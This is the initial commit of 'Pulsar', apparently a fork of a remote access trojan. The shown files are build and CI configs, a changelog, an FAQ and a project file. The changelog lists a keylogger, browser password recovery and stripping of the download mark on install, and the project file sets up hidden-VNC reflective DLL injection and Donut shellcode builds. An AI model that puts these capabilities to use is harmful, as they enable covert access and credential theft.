initial commit
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
Vendored
BIN
View File
Binary file not shown.
+22
View File
@@ -0,0 +1,22 @@
# Auto detect text files and perform LF normalization
* text=auto
# Custom for Visual Studio
*.cs diff=csharp
*.sln merge=union
*.csproj merge=union
*.vbproj merge=union
*.fsproj merge=union
*.dbproj merge=union
# Standard to msysgit
*.doc diff=astextplain
*.DOC diff=astextplain
*.docx diff=astextplain
*.DOCX diff=astextplain
*.dot diff=astextplain
*.DOT diff=astextplain
*.pdf diff=astextplain
*.PDF diff=astextplain
*.rtf diff=astextplain
*.RTF diff=astextplain
BIN
View File
Binary file not shown.
+77
View File
@@ -0,0 +1,77 @@
name: Bug report
description: Create a bug or crash report
labels: ["bug"]
body:
- type: input
attributes:
label: Pulsar version
placeholder: 1.4.0 or commit-id
validations:
required: true
- type: input
attributes:
label: Server installed .NET version
placeholder: .NET 6.0
- type: dropdown
attributes:
label: Server operating system
options:
- Windows 11/Server 2022
- Windows 10/Server 2019/2016
- Windows 8/8.1/Server 2012
- Windows 7/Server 2008 R2
- Other
validations:
required: true
- type: input
attributes:
label: Client installed .NET version
placeholder: .NET 6.0
- type: dropdown
attributes:
label: Client operating system
options:
- Windows 11/Server 2022
- Windows 10/Server 2019/2016
- Windows 8/8.1/Server 2012
- Windows 7/Server 2008 R2
- Other
validations:
required: true
- type: dropdown
attributes:
label: Build configuration
options:
- Debug
- Release
validations:
required: true
- type: textarea
attributes:
label: Describe the bug
description: A clear and concise description of what the bug is.
validations:
required: true
- type: textarea
attributes:
label: How to reproduce
description: The steps on how to reproduce the bug.
validations:
required: true
- type: textarea
attributes:
label: Expected behavior
description: Describe the result that you expect to get after performing the steps.
validations:
required: true
- type: textarea
attributes:
label: Actual behavior
description: Describe the actual behavior that you observed after performing the steps.
validations:
required: true
- type: textarea
attributes:
label: Additional context
description: Any other information that may help us fix the issue goes here (e.g. screenshots).
@@ -0,0 +1,23 @@
name: Feature request
description: Suggest a new feature
labels: ["enhancement"]
body:
- type: textarea
attributes:
label: Problem description
description: A clear and concise description of what the problem is.
placeholder: |
Example: "I'm always frustrated when [...]", or "I often need to [...]"
validations:
required: true
- type: textarea
attributes:
label: Proposal
description: A clear and concise description of what you want to happen.
validations:
required: true
- type: textarea
attributes:
label: Additional context
description: Add any other context or screenshots about the feature request here.
+75
View File
@@ -0,0 +1,75 @@
name: Pulsar .NET 9.0 Windows Release
on:
push:
branches: [ "main" ]
jobs:
build:
runs-on: windows-latest
permissions:
contents: write
pull-requests: write
repository-projects: write
steps:
- name: Checkout Repository
uses: actions/checkout@v4
with:
submodules: true
fetch-depth: 0
- name: Setup .NET 9.0
uses: actions/setup-dotnet@v4
with:
dotnet-version: '9.0.x'
- name: Setup MSBuild
uses: microsoft/setup-msbuild@v2
- name: Get Version
run: |
$version = (Get-Content Pulsar.Server/Utilities/ServerVersion.cs | Select-String 'Current = "([^"]+)"').Matches.Groups[1].Value
echo "VERSION=$version" >> $env:GITHUB_ENV
shell: pwsh
- name: Restore Dependencies
run: dotnet restore Pulsar.sln
- name: Build Solution
run: msbuild Pulsar.sln /p:Configuration=Release /p:Platform=AnyCPU
- name: Prepare Build Output
run: |
if (Test-Path "./bin/Release/net9.0-windows") {
Compress-Archive -Path "./bin/Release/net9.0-windows/*" -DestinationPath "pulsar-net-win64-${{ env.VERSION }}.zip"
Write-Host "Zipped net9.0-windows output"
} else {
Write-Host "Error: net9.0-windows output not found"
exit 1
}
shell: pwsh
- name: Upload Build Artifact
uses: actions/upload-artifact@v4
with:
name: windows-build-${{ env.VERSION }}
path: pulsar-net-win64-${{ env.VERSION }}.zip
- name: Delete existing release
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh release delete Pulsar-v${{ env.VERSION }} --yes --cleanup-tag || echo "No existing release/tag to delete"
shell: bash
- name: Create Release
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh release create Pulsar-v${{ env.VERSION }} pulsar-net-win64-${{ env.VERSION }}.zip \
-t "Pulsar-v${{ env.VERSION }}" \
-n "Automated build release for Pulsar v${{ env.VERSION }}" \
--draft=false \
--prerelease=false
shell: bash
+31
View File
@@ -0,0 +1,31 @@
name: Mirror to Codeberg and Gitea
on:
push:
branches: ["*"]
workflow_dispatch:
jobs:
mirror:
runs-on: ubuntu:22.04
steps:
- name: Checkout
uses: actions/checkout@v4
with:
fetch-depth: 0 # all history fr
- name: Mirror to Codeberg and Gitea
env:
CODEBERG_USERNAME: ${{ secrets.CODEBERG_USERNAME }}
CODEBERG_TOKEN: ${{ secrets.CODEBERG_TOKEN }}
GITEA_USERNAME: ${{ secrets.GITEA_USERNAME }}
GITEA_TOKEN: ${{ secrets.GITEA_TOKEN }}
run: |
git config --global user.name "GitHub Mirror Bot"
git config --global user.email "[email protected]"
git remote add codeberg https://$CODEBERG_USERNAME:[email protected]/$CODEBERG_USERNAME/Poopsar.git
git remote add gitea https://$GITEA_USERNAME:[email protected]/$GITEA_USERNAME/Poopsar.git
git push --mirror codeberg
git push --mirror gitea
+211
View File
@@ -0,0 +1,211 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# Client build file
Pulsar-Client.exe
# User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
bld/
[Bb]in/
[Oo]bj/
# Visual Studio 2015 cache/options directory
.vs/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUNIT
*.VisualState.xml
TestResult.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# DNX
project.lock.json
artifacts/
*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# JustCode is a .NET coding add-in
.JustCode
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
_NCrunch_*
.*crunch*.local.xml
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# TODO: Comment the next line if you want to checkin your web deploy settings
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# NuGet Packages
*.nupkg
# The packages folder can be ignored because of Package Restore
**/packages/*
# except build/, which is used as an MSBuild target.
!**/packages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/packages/repositories.config
# Windows Azure Build Output
csx/
*.build.csdef
# Windows Store app package directory
AppPackages/
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!*.[Cc]ache/
# Others
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.pfx
*.publishsettings
node_modules/
orleans.codegen.cs
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
*.mdf
*.ldf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
# Microsoft Fakes
FakesAssemblies/
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Deferred assembly payloads (runtime-delivered DLLs)
Pulsar.Server/DeferredAssemblies/*
!Pulsar.Server/DeferredAssemblies/README.md
+145
View File
@@ -0,0 +1,145 @@
stages:
- determine
- build
variables:
SOLUTION_FILE: "Pulsar.sln"
BUILD_CONFIGURATION: "Release"
SERVER_TARGET_FRAMEWORK: "net9.0-windows"
SERVER_RUNTIME: "win-x64"
CLIENT_TARGET_FRAMEWORK: "net472"
# Only run on main branch when C# files or project files change
workflow:
rules:
- if: $CI_COMMIT_BRANCH == "main"
changes:
- "**/*.cs"
- "**/*.csproj"
- "**/*.sln"
- ".gitlab-ci.yml"
determine-version:
stage: determine
image: ubuntu:22.04
tags:
- docker
before_script:
- apt-get update -qq && apt-get install -y -qq git grep
script:
- |
if [ -f "Pulsar.Server/Properties/AssemblyInfo.cs" ]; then
VERSION=$(grep -oP '\[assembly: AssemblyVersion\("\K[0-9]+\.[0-9]+\.[0-9]+' Pulsar.Server/Properties/AssemblyInfo.cs || echo "unknown")
echo "Found version: $VERSION"
echo "VERSION=$VERSION" >> variables.env
else
echo "AssemblyInfo.cs not found"
echo "VERSION=unknown" >> variables.env
fi
- |
if echo "$CI_COMMIT_MESSAGE" | grep -q "^STABLE"; then
echo "Stable release detected"
echo "IS_STABLE=true" >> variables.env
echo "RELEASE_TYPE=stable" >> variables.env
else
echo "Development build"
echo "IS_STABLE=false" >> variables.env
echo "RELEASE_TYPE=dev" >> variables.env
fi
- echo "Commit short SHA:" $CI_COMMIT_SHORT_SHA
- echo "Ref name:" $CI_COMMIT_REF_NAME
- echo "COMMIT_SHORT_SHA=$CI_COMMIT_SHORT_SHA" >> variables.env
- |
# Clean commit message for dotenv (remove problematic characters)
CLEAN_MESSAGE=$(echo "$CI_COMMIT_MESSAGE" | tr -d '\n\r' | sed 's/"/\\"/g' | sed "s/'/\\'/g")
echo "COMMIT_MESSAGE=$CLEAN_MESSAGE" >> variables.env
build:
stage: build
needs: ["determine-version"]
image: debian:12
tags:
- docker
before_script:
# Install Microsoft packages repository and .NET SDK 9.0
- apt-get update -qq
- apt-get install -y -qq wget ca-certificates apt-transport-https
- wget https://packages.microsoft.com/config/debian/12/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
- dpkg -i packages-microsoft-prod.deb
- rm packages-microsoft-prod.deb
- apt-get update -qq
- apt-get install -y -qq dotnet-sdk-9.0 zip
script:
- set -e # Exit on any error
- echo "Building Pulsar version:" $VERSION
- echo "Release type:" $RELEASE_TYPE
- echo "Commit:" $COMMIT_SHORT_SHA
- echo "Commit message:" $COMMIT_MESSAGE
- echo "Restoring dependencies..."
- dotnet restore $SOLUTION_FILE --runtime $SERVER_RUNTIME
- echo "Build completed. Checking if restore was successful..."
- echo "Building client..."
- dotnet build Pulsar.Client/Pulsar.Client.csproj --configuration $BUILD_CONFIGURATION --no-restore --framework $CLIENT_TARGET_FRAMEWORK
- echo "Client build completed. Checking build output..."
- ls -la Pulsar.Client/bin/Release/ 2>/dev/null || echo "Client bin directory not found"
- echo "Publishing server..."
- dotnet publish Pulsar.Server/Pulsar.Server.csproj --configuration $BUILD_CONFIGURATION --output "$CI_PROJECT_DIR/publish/server" --no-restore --framework $SERVER_TARGET_FRAMEWORK --runtime $SERVER_RUNTIME --self-contained false
- echo "Server publish completed. Checking publish output..."
- ls -la publish/server/ 2>/dev/null || echo "Server publish directory not found"
- echo "Preparing build output..."
- mkdir -p build_output
# Copy all published server code to build_output
- cp -r publish/server/* build_output/
# Find and copy client.bin - check multiple possible locations
- |
CLIENT_FOUND=false
# Check location 1: Pulsar.Client/bin/Release/net472/Pulsar.Client.exe
if [ -f "Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" ]; then
cp "Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" build_output/client.bin
echo "✓ Copied Pulsar.Client.exe as client.bin from Pulsar.Client/bin"
CLIENT_FOUND=true
# Check location 2: bin/Release/net472/Client.exe (like GitHub Actions)
elif [ -f "bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" ]; then
cp "bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" build_output/client.bin
echo "✓ Copied Client.exe from bin directory as client.bin"
CLIENT_FOUND=true
# Check location 3: bin/Release/net472/Pulsar.Client.exe
elif [ -f "bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" ]; then
cp "bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" build_output/client.bin
echo "✓ Copied Pulsar.Client.exe from bin directory as client.bin"
CLIENT_FOUND=true
# Check location 4: Pulsar.Client/bin/Release/net472/Client.exe
elif [ -f "Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" ]; then
cp "Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" build_output/client.bin
echo "✓ Copied Client.exe as client.bin from Pulsar.Client/bin"
CLIENT_FOUND=true
fi
if [ "$CLIENT_FOUND" = false ]; then
echo "❌ ERROR: Client executable not found!"
echo "Searched locations:"
echo " - Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe"
echo " - bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe"
echo " - bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe"
echo " - Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe"
echo ""
echo "Available files in project directories:"
echo "Pulsar.Client/bin contents:"
find Pulsar.Client/bin -name "*.exe" 2>/dev/null || echo "No exe files found in Pulsar.Client/bin"
echo "bin contents:"
find bin -name "*.exe" 2>/dev/null || echo "No exe files found in bin"
echo ""
echo "All bin directories structure:"
find . -type d -name "bin" -exec echo "Directory: {}" \; -exec find {} -name "*.exe" \; 2>/dev/null || echo "No bin directories found"
exit 1
fi
# Create the final zip with just the essentials
- cd build_output && zip -r ../build_output.zip . && cd ..
- echo "✓ Build package created successfully"
- echo "Package contents:"
- unzip -l build_output.zip | head -20 || true
artifacts:
paths:
- build_output.zip
expire_in: 30 days
when: on_success
+3
View File
@@ -0,0 +1,3 @@
[submodule "external/donut"]
path = external/donut
url = https://github.com/TheWover/donut.git
+104
View File
@@ -0,0 +1,104 @@
# Pulsar Changelog
## Pulsar v1.4.1 [12.03.2023]
* Added missing WOW64 subsystem autostart locations
* Fixed file transfers of files larger than 2 GB
* Fixed file transfers of empty files
* Fixed browser credentials recovery
* Fixed race condition on shutdown
* Fixed IP Geolocation
* Fixed opening remote shell sessions on non-system drives
* Fixed incorrectly set file attributes on client installations
* Fixed sorting of listview columns with numbers
* Updated dependencies
## Pulsar v1.4.0 [05.06.2020]
* **Changed target framework to .NET Framework 4.5.2**
* **Changed license to MIT**
* Changed message serializer to Protobuf
* Changed versioning scheme to Semantic Versioning (https://semver.org/)
* Added attended/unattended client modes
* Added TLS 1.2 as transport encryption
* Added UTC timestamps to log files
* Added dependencies as NuGet packages
* Updated dependencies
* Updated message processing in client and server
* Updated mouse and keyboard input to SendInput API
* Fixed file transfer vulnerbilities ([#623](https://github.com/Pulsar/Pulsar/issues/623))
* Lots of under the hood changes for an upcoming plugin system
## Pulsar v1.3.0.0 [28.09.2016]
* Added Registry Editor
* Added Remote Webcam
* Added Windows DPI scaling support
* Added IPv6 support
* Added ability to elevate Client
* Added full Unicode support
* Added Remote TCP Connections Viewer
* Added option to hide sub directory of installation path
* Improved cryptography
* Fixed XSS vulnerability in Keylogger Logs
* Fixed Remote Messagebox having wrong icon
* Fixed FileZilla Recovery base64 decoding
* Fixed UPnP discovery freezing in some cases
* Fixed IP Geolocation
* Fixed Client loses Administrator privileges on restart
* Some minor improvements
## Pulsar v1.2.0.0 [12.10.2015]
* Added Client restart on unhandled exceptions
* Added additional settings to Keylogger (set/hide log-directory)
* Added encrypted Keylogger logs
* Improved Client Builder
* Improved System Information
* Improved File Manager behaviour when loading directories with many files
* Improved Remote Shell (scrolls now correctly to the bottom when new text received)
* Improved compatibility with many connected clients (1k+)
* Improved AES encryption/decryption speed (if available, makes use of hardware accelerated AES)
* Fixed Client not setting file attribute correctly on startup
* Fixed Remote Desktop lagging with mouse input and maximized window
* Some minor improvements
## Pulsar v1.1.0.0 [30.08.2015]
* **Changed Target Framework to .NET Framework 4.0 Client Profile**
* Added deletion of ZoneIdentifier file when installing
* Improved Client installation error handling
* Improved Client HardwareID generation
* Improved Client-Server handshake
* Support detection of multiple AVs, Firewalls, GPUs, CPUs
* Fixed Builder Profile not saving correctly Installation Subfolder
* Fixed Builder not validating input correctly
* Fixed Builder creating Client with empty list of hosts
* Fixed Settings Password not hashed when pressing 'Start listening'
* Fixed Reverse Proxy using always wrong port
* Fixed Server throwing NullReferenceException when closing and no Clients connected
* Fixed Client reporting wrong uptime on systems with uptime longer than 49.7 days
* Fixed Client installation path empty on Windows XP 32-bit in some scenarios
* Fixed Client installation to system directory failing on 64-bit OS
* Fixed Client uninstallation not working when file is marked as read-only
* Fixed Client crashing after update on first start in some scenarios
* Fixed Client crashing when list of hosts is empty (Client exits now)
* Fixed Client not reconnecting when Server uses different password
* Fixed Client registry access
* Removed Statistics window, will be remade in a later version
## Pulsar v1.0.0.0 [22.08.2015]
* **xRAT is now Pulsar**
* Added Password Recovery (Common Browsers and FTP Clients)
* Added Server compatiblity with Mono (Server now runs on Linux with Mono installed)
* Client Builder works also on Linux/Mono
* Added ability to upload batch files
* Added Client support for multiple hosts
* Added maximum simultaneous file downloads/uploads (current max: 2)
* Fixed Remote Shell redirecting of standard output not working after redirecting error output
* Fixed Remote Shell not displaying unicode characters correctly
* Fixed Remote Desktop crash when changing screen resolution
* Fixed File Manager would refresh directory when double-clicking files
* Improved support for Windows 8 and above
* Improved Remote Desktop (Speed, Full Mouse and Keyboard support)
* Improved File Manager (Show name of drive, current path, upload files)
* Improved UPnP support
* Improved Geo IP support
* Improved Builder UI
* Switched from Protobuff to NetSerializer
* Lots of under the hood changes for stability and performance
+19
View File
@@ -0,0 +1,19 @@
# Contributing
1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create new pull request (PR)
## Guidelines for pull requests:
1. Respect the coding style of Pulsar.
2. Create a new branch for each PR.
3. Single feature or bug-fix per PR.
4. Make single commit per PR.
5. Make your modification compact - don't reformat source code in your request. It makes code review more difficult.
6. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. Use the issue tracker for your request instead.
7. Typo fixing and code refactoring won't be accepted - please create issues with title started with TYPO to request the changing.
In short: The easier the code review is, the better the chance your pull request will get accepted.
+68
View File
@@ -0,0 +1,68 @@
# FAQ
## Table of Contents
* [Shellcode Not Working](#shellcode-not-working)
* [Enabling Shellcode Outputs](#enabling-shellcode-outputs)
* [Alternative Build Process](#alternative-build-process)
---
## Shellcode Not Working
If shellcode generation or execution isn't producing the expected outputs, it often means the project wasn't built with the shellcode feature enabled. Follow the steps below to ensure your build configuration includes Donut support.
### Enabling Shellcode Outputs
1. **Open the solution**: Launch Visual Studio and open `Pulsar.sln`.
![Open Project](Images/open_project.png)
2. **Select build configuration**:
* Locate the configuration selector on the toolbar (usually reads `Debug` or `Release`).
![Select Configuration](Images/select_config.png)
* Change it to **ReleaseWithDonut**.
![Build with Donut Enabled](Images/build_with_donut.png)
3. **Build the solution**:
* Go to `Build → Build Solution` or press `Ctrl + Shift + B`.
![Build Solution](Images/build_solution.png)
4. **Verify outputs**:
* After a successful build, navigate to `bin/Release`.
* Confirm that the shellcode converter files (donut.exe) are present.
### Alternative Build Process
If you cannot use Visual Studio or the standard build fails, enable shellcode outputs manually:
1. **Download Donut**:
* Visit the [Donut Releases page](https://github.com/TheWover/donut/releases).
* Download the latest `donut.exe` for your operating system.
![Download Donut](Images/download_donut.png)
2. **Extract the binary**:
* Unzip or extract the downloaded archive to locate `donut.exe`.
3. **Copy to Pulsar output**:
* Place `donut.exe` into your Pulsar build directory: `bin/ReleaseWithDonut`.
![Move Donut to Bin](Images/move_to_bin.png)
4. **Verify manual setup**:
* Check Pulsar if the build shellcode artifact is enabled.
---
+286
View File
@@ -0,0 +1,286 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{483CE4EF-7B5C-4C47-BAC5-2EA5CD09EBFC}</ProjectGuid>
<RootNamespace>HVNCInjection</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
